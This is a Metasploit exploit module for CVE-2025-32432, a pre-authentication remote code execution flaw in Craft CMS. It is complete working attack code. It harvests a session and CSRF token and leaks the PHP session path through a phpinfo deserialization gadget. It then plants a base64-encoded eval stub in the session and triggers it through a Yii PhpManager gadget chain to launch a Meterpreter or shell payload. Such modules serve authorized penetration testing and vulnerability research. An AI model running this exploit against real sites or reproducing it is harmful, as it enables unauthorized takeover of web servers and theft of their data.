## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Payload::Php prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint. It injects a PHP Meterpreter payload into the Craft session, then triggers its execution by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint. Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432. }, 'Author' => [ 'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC 'Valentin Lobstein' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2025-32432' ], [ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ], [ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ] ], 'Platform' => %w[php unix linux], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], [ 'Unix/Linux Command Shell', { 'Platform' => %(unix linux), 'Arch' => ARCH_CMD } ], ], 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] }, 'DisclosureDate' => '2025-04-14', 'DefaultTarget' => 0 ) ) register_options([ OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)]) ]) end def execute_via_session(payload) session_id, csrf, param_name = fetch_cookies_and_csrf return nil unless csrf vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}") session_dir = @session_path || '/var/lib/php/sessions' session_file = normalize_uri(session_dir, "sess_#{session_id}") body = { assetId: datastore['ASSET_ID'], handle: { width: Rex::Text.rand_text_numeric(1..5), height: Rex::Text.rand_text_numeric(1..5), "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => { class: 'craft\\behaviors\\FieldLayoutBehavior', __class: 'yii\\rbac\\PhpManager', '__construct()' => [ { itemFile: session_file } ] } } }.to_json send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'p' => 'actions/assets/generate-transform', param_name => payload }, 'headers' => { 'X-CSRF-Token' => csrf }, 'ctype' => 'application/json', 'data' => body, 'keep_cookies' => true ) end def fetch_cookies_and_csrf param_name = Rex::Text.rand_text_alphanumeric(5..12) static_stub = "" params = { 'p' => 'admin/dashboard', param_name => static_stub } cookie_jar.clear res = send_request_cgi( 'method' => 'GET', 'uri_encode_mode' => 'none', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => params ) return nil unless res session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1] return nil if session_id.to_s.empty? if res.code == 302 && res.headers['Location'] res = send_request_cgi( 'method' => 'GET', 'uri' => res.headers['Location'], 'keep_cookies' => true ) end csrf = extract_csrf_token(res) return nil unless csrf [session_id, csrf, param_name] end def extract_csrf_token(res) doc = res.get_html_document token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text return token unless token.to_s.empty? vprint_status('CSRF not found in dashboard, falling back to root') res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true ) res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text end def leak_session_path(csrf) res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo') return nil unless res&.body doc = res.get_html_document path = doc.at_xpath( "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']" )&.text path ||= doc.at_xpath( "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]" )&.text path&.strip end def send_transform(csrf, asset_id, php_string) json_data = { 'assetId' => asset_id, 'handle' => { 'width' => Rex::Text.rand_text_numeric(1..5), 'height' => Rex::Text.rand_text_numeric(1..5), "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => { 'class' => 'craft\\behaviors\\FieldLayoutBehavior', '__class' => 'GuzzleHttp\\Psr7\\FnStream', '__construct()' => [[]], '_fn_close' => php_string } } }.to_json send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' }, 'ctype' => 'application/json', 'headers' => { 'X-CSRF-Token' => csrf }, 'data' => json_data ) end def check _, csrf, = fetch_cookies_and_csrf return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf if (path = leak_session_path(csrf)) @session_path = path print_good("Leaked session.save_path: #{@session_path}") return CheckCode::Vulnerable('Session path leaked') end a = Rex::Text.rand_text_numeric(4).to_i b = Rex::Text.rand_text_numeric(4).to_i expr = "#{a}+#{b}" sum = a + b print_status("Checking RCE: #{expr}") payload = "print_r(#{expr});" res = execute_via_session(payload) return CheckCode::Unknown('No response') unless res if res.body.include?(sum.to_s) CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!") else CheckCode::Safe('Unable to exercise code execution.') end end def exploit raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) b64 = Rex::Text.encode_base64(raw) payload_code = "eval(base64_decode('#{b64}'));" print_status('Injecting stub & triggering payload...') execute_via_session(payload_code) end def php_exec_cmd(encoded_payload) gen = Rex::RandomIdentifier::Generator.new disabled_var = "$#{gen[:dis]}" b64 = Rex::Text.encode_base64(encoded_payload) <<~PHP #{php_preamble(disabled_varname: disabled_var)} $c=base64_decode("#{b64}"); #{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)} PHP end end